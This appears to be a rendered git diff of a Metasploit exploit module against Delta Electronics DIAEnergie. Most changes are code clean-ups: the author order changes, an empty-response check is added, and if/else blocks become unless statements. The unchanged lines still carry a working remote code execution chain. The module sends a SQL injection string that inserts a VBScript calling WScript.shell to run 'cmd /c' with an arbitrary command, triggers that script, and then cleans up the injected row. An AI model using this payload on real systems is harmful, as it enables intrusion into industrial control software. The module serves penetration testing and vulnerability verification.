@@ -14,8 +14,8 @@ def initialize(info = {})
14
14
} ,
15
15
'License' => MSF_LICENSE ,
16
16
'Author' => [
17
- 'Tenable' , # Discovery & PoC
18
17
'Michael Heinzl' , # MSF exploit
18
+ 'Tenable' # Discovery & PoC
19
19
] ,
20
20
'References' => [
21
21
[ 'URL' , 'https://www.tenable.com/security/research/tra-2024-13' ] ,
@@ -68,6 +68,11 @@ def check
68
68
disconnect
69
69
end
70
70
71
+ if res . empty?
72
+ vprint_status ( 'Received an empty response.' )
73
+ return Exploit ::CheckCode ::Unknown
74
+ end
75
+
71
76
vprint_status ( 'Who is it response: ' + res . to_s )
72
77
version_pattern = /\b \d +\. \d +\. \d +\. \d +\b /
73
78
version = res . match ( version_pattern )
@@ -78,11 +83,11 @@ def check
78
83
79
84
vprint_status ( 'Version retrieved: ' + version [ 0 ] )
80
85
81
- if Rex ::Version . new ( version ) <= Rex ::Version . new ( '1.10.1.8610' )
82
- return CheckCode ::Appears
83
- else
86
+ unless Rex ::Version . new ( version ) <= Rex ::Version . new ( '1.10.1.8610' )
84
87
return CheckCode ::Safe
85
88
end
89
+
90
+ return CheckCode ::Appears
86
91
end
87
92
88
93
def exploit
@@ -112,23 +117,23 @@ def execute_command(cmd)
112
117
vprint_status ( "RecalculateHDMWYC~#{ random_date } #{ random_time } ~#{ random_date } #{ random_time } ~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{ scname } ', N'CreateObject(\" WScript.shell\" ).run(\" cmd /c #{ cmd } \" )', N'', N'');--" )
113
118
sock . put "RecalculateHDMWYC~#{ random_date } #{ random_time } ~#{ random_date } #{ random_time } ~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{ scname } ', N'CreateObject(\" WScript.shell\" ).run(\" cmd /c #{ cmd } \" )', N'', N'');--"
114
119
res = sock . get
115
- if res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
116
- vprint_status ( 'Injection - Expected response received: ' + res . to_s )
117
- else
120
+ unless res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
118
121
fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the server received: ' + res . to_s )
119
122
end
123
+
124
+ vprint_status ( 'Injection - Expected response received: ' + res . to_s )
120
125
disconnect
121
126
122
127
# Trigger
123
128
print_status ( 'Triggering script execution...' )
124
129
connect
125
130
sock . put "RecalculateScript~#{ random_date } #{ random_time } ~#{ random_date } #{ random_time } ~1"
126
131
res = sock . get
127
- if res . to_s == 'Recalculate Script Start!'
128
- vprint_status ( 'Trigger - Expected response received: ' + res . to_s )
129
- else
132
+ unless res . to_s == 'Recalculate Script Start!'
130
133
fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the server received: ' + res . to_s )
131
134
end
135
+ vprint_status ( 'Trigger - Expected response received: ' + res . to_s )
136
+
132
137
disconnect
133
138
134
139
print_good ( 'Script successfully injected, check thy shell.' )
@@ -138,11 +143,11 @@ def execute_command(cmd)
138
143
connect
139
144
sock . put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{ scname } ';--"
140
145
res = sock . get
141
- if res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
142
- vprint_status ( 'Cleanup - Expected response received: ' + res . to_s )
143
- else
146
+ unless res . to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
144
147
fail_with ( Failure ::UnexpectedReply , 'Unexpected reply from the server received: ' + res . to_s )
145
148
end
149
+ vprint_status ( 'Cleanup - Expected response received: ' + res . to_s )
150
+
146
151
disconnect
147
152
end
148
153
end
0 commit comments